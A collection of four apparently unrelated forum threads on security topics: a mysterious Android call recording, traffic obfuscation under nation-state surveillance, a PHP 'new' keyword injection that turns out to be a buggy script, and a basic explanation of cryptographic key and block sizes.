Found recording of unkown phone call - did someone hack my Android phone? I installed a phone recorder on my Android just to have memories of my mother's calls. Yesterday the memory was full, and in the call history I found an unknown number I know I never answered to. And the log of that call was not actually a phone record but just two hours of recordings of what I did in those hours -
 walking in the street, etc.

So I might have left the phone open by mistake but it was an unknown number. What does it mean?

It seems unlikely. Was it something like a 1-900 pay per minute number?

Could you have put you phone down in a cafe and someone picked it up and dialed the number.

Was the anything actually on the recording?

Unless it was a 1-900 pay per minute call then I think the most likely reason is either you pocket dialed someone some random number that went to answer phone or something, or someone pocked dialed you and you accidentally pocked answered.

The only other thing I think it might be something like law enforcement making a silent* call, and using your phone to bug you, and you would not have known unless you had the recording app.

*I have no idea if this is a thing, but it would not surprise me; but it would also seem unlikely that it is a 'hidden feature' of iOS/android that can also be picked up by a phone recording app.


Traffic obfuscation under targeted surveillance When you are under targeted surveillance and all of your internet traffic is tapped (including parts where you exit from a VPN to the internet), is there any point in using traffic obfuscation? It won't matter if you use https, wireguard, openvpn ... the protocol could be the  the most rarely used in the world. It won't matter because the connection to the first hop/server can always be seen and you will always stick out. There is no point in hiding what protocol you use when connecting to the first server. Same probably for the next hops. Opinions?
Edit:

what exactly you want to do

Make traffic look inconspicuous. In that case it would refer to for example make VPN traffic look like common https.

who's your enemy

Nation state

what kind of data you need to hide

As much as possible while at the same time keeping the connection usable for the average internet user.

I think that the only option that you have is a "network cover channel", some of them are easy to detect and other are really hard. I suggest you to read Network Covert Channels: Design, Analysis, Detection, and Elimination and also there is a book called "Hiding in Plain Sight" from Eric cole that explain all the basics of the network covert channels, pros and cons, and so on.


Trying to figure out if I was hit by an obscure exploit attempt of some kind I just had a random occurrence when I went to one of my hosted websites, and saw the page was broken.

We host several domains at this IP, but one domain is actually in the server's webroot directory, inside are all the directories for the 6 or so other domains, and other random assets. We use this server for dev and a few other assorted things...

The broken page (webroot/index.php - and a few other PHP files), appeared to have had a search&replace run on it, I thought it was just a screw up from another dev, but I also thought it was odd that the word "new" had been added ALL OVER THE PLACE (and no one fessed up even though it was an easy fix, so either they forgot they did something like this at 3 PM yesterday, or it was something else)

So like:

document.getElementById(new new new new new new new new new new 'main').....

and:

<h1 style="new new new new new new new new new new new new new align: middle;">

I don't currently have a reason to suspect an exploit, however, it goes without saying why the "new" keyword injected all over the place will freak a dev right out... It looks like it could be an attempt to gain access to the constructor method of something - but again, I'm out of my element here.

I can't find anything anywhere about the possibility of an exploit that features injecting the new keyword into PHP source code, but again, it doesn't sound like an unreasonable approach to gaining further access to a system. Is there any possibility that this is an established or new exploit vector? Do any of the infosec pros here see anything I should be deathly worried about?

So, it turns out that someone was using a copypasta script for checking file contents that, inexplicably, calls file_put_contents inside an if() declaration, I honestly didn't look at it long enough to consider why it was, I'm just glad that was the root cause. Turns out, the reason mostly PHP files were affected only, is that the script was written in PHP, and PHP-fpm doesn't have privileges to much else.

I still find this an interesting question, whether something like this could be used to fish for application vulnerabilities or so on; anyway, something about the thin line between a novel accident and a breakthrough? Hopefully this post wont inspire a maniac's creativity...


What do key size and block size mean in cryptography? Can some one simply explain the meanings and the difference between symmetric key and block size.

Why 64 block size not safe any more and they increase it to 128 (AES,...,Serpent)? And what about key size?

A symmetric key algorithm is one which uses the same key for both encryption and decryption. Examples of symmetric key algorithms are AES, 3DES, Blowfish.

An asymmetric key algorithm on the other hand, uses 2 keys, one for encryption and one for decryption. An asymmetric key algorithm is designed in such a way that it is unfeasible to derive the private key from the public key. A common asymmetric key algorithm is RSA.

The term block size refers to the block cipher. Basically, there are 2 types of ciphers.

Stream cipher - The algorithm encrypts/decrypts the message 1 bit at a time.

Block cipher - The algorithm encrypts/decrypts the message block by block, a block referring to a group of bits. Common block ciphers include AES - which works on 128 bit blocks, and Blowfish - which works on 64 bit blocks.

All of this information can be found on their respective Wikipedia entries:

http://en.wikipedia.org/wiki/Symmetric-key_algorithm

http://en.wikipedia.org/wiki/Public-key_cryptography

http://en.wikipedia.org/wiki/Block_cipher

http://en.wikipedia.org/wiki/Stream_cipher